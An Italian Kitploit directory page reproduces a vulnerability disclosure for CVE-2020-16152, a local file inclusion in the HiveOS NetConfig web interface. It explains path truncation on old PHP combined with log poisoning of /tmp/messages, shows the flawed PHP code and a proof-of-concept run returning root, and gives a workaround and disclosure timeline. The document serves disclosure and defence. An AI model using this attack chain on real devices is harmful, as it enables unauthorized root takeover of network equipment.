Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2020-16152 — Spiegazione e PoC per CVE-2020-16152 | Kitploit
Strumenti/GitHubGitHub/eriknl/cve-2020-16152
Analisi delle VulnerabilitàExploitMovimento LateraleSfruttamento di Applicazioni WebPenetration TestingBinary Exploitation
GitHuberiknl/cve-2020-16152

CVE-2020-16152

Spiegazione e PoC per CVE-2020-16152

Vedi Repository
1165 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2020-16152

Riepilogo

ProduttoreAerohive Networks / Extreme Networks
Nome prodottoHiveOS / IQ Engine
Versione prodottoTestato su 10.0r8a build-242466 e versioni precedenti

L'interfaccia web amministrativa (NetConfig) di Aerohive/Extreme Networks HiveOS è vulnerabile a LFI perché utilizza una vecchia versione di PHP vulnerabile ad attacchi di troncamento di stringhe. Un attaccante può sfruttare questa vulnerabilità in combinazione con l'avvelenamento dei log per ottenere privilegi di root su un punto di accesso vulnerabile.

Come workaround è possibile disabilitare l'interfaccia web con il seguente comando: no system web-server hive-UI enable per proteggersi da questa vulnerabilità.

Cronologia della divulgazione:

Dettagli

Il parametro _page utilizzato per le chiamate a action/AhBaseAction.class.php5 come referenziato dall'url /action.php5 è usato per caricare dinamicamente una classe PHP che viene utilizzata per una pagina come possiamo vedere nel frammento di codice qui sotto ($pageName è preso da $_POST['_page']):

root@kitploit:~
protected function getAccess($pageName,$actionType) {
  $filename = $pageName.'Access.class.php5';
  $classname = $pageName.'Access';
  if (include_once $filename) {
    require_once $filename;
    return new $classname($this->user,$actionType);
  }
  ...
}

Come possiamo vedere non c'è un prefisso per questo nome file, rendendo possibile attraversare il percorso per file arbitrari. Tuttavia, poiché abbiamo un suffisso, non è possibile includere qualsiasi file. Poiché la versione di PHP sul punto di accesso è piuttosto vecchia, possiamo effettivamente aggirare questo problema (maggiori informazioni):

root@kitploit:~
$ php-cgi -v
PHP Warning:  PHP Startup: Cannot dynamically load sockets.so - dynamic modules are not supported in Unknown on line 0
PHP 5.2.17 (cgi-fcgi) (built: May 28 2020 23:36:34)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies

Riempendo il percorso con abbastanza caratteri / possiamo assicurarci che il suffisso Access.class.php5 sia completamente troncato e siamo liberi di includere file arbitrari. Poiché i tentativi di login falliti vengono registrati in /tmp/messages e includono il nome utente inviato, possiamo usare la pagina di login per avvelenare /tmp/messages e poi eseguire codice da esso con l'attacco LFI sopra elencato. Sebbene il webserver stesso stia girando con un utente a bassi privilegi, l'istanza php-cgi usata da hiawatha sta effettivamente girando come root, il che significa che tutto il codice PHP viene eseguito come root:

root@kitploit:~
$ ps | egrep "php|hiawatha"
 2237 root      9980 S    /usr/local/bin/php-cgi -b 127.0.0.1:2008
12088 admin    20840 S    /usr/local/sbin/hiawatha

PoC

root@kitploit:~
$ ./CVE-2020-16152.py 192.168.0.166 'echo -e "\n\n";id' | tail
2020-08-30 13:56:28 notice  root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:56:28 GMT+1:00 2020
2020-08-30 13:56:28 notice  root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:56:54 info    ah_dcd: application: get track-ip trigger access console request: cancel.
2020-08-30 13:57:00 notice  root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:57:00 GMT+1:00 2020
2020-08-30 13:57:00 notice  root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:57:31 notice  ah_webui: security: Admin "<


uid=0(root) gid=0(root)

Scarica lo strumento
2019/02/17Problema segnalato ad Aerohive Networks
2019/02/19Conferma del problema ricevuta dal vendor, workaround suggerito dal vendor (disabilitare l'interfaccia web)
2019/02/25Conferma del problema da parte del vendor
2019/03/18Ping?
2019/05/30Ping?
2019/06/03Il vendor suggerisce una telefonata, risposto con i dettagli telefonici. Nessuna chiamata ricevuta
2019/08/12Ping? Il vendor risponde che il problema è stato escalated internamente
2019/09/23Ping?
2019/09/25Il vendor risponde che il problema LFI non è stato ancora affrontato
2020/07/30Trovato problema ancora non risolto in HiveOS 10.0r8a build-242466 datato 05/2020. Riservato CVE e comunicata scadenza 2020/09/01 per la pubblicazione a meno che non si stia lavorando attivamente a una correzione
2020/09/01Ancora nessuna risposta dal vendor, rilascio dei dettagli e del PoC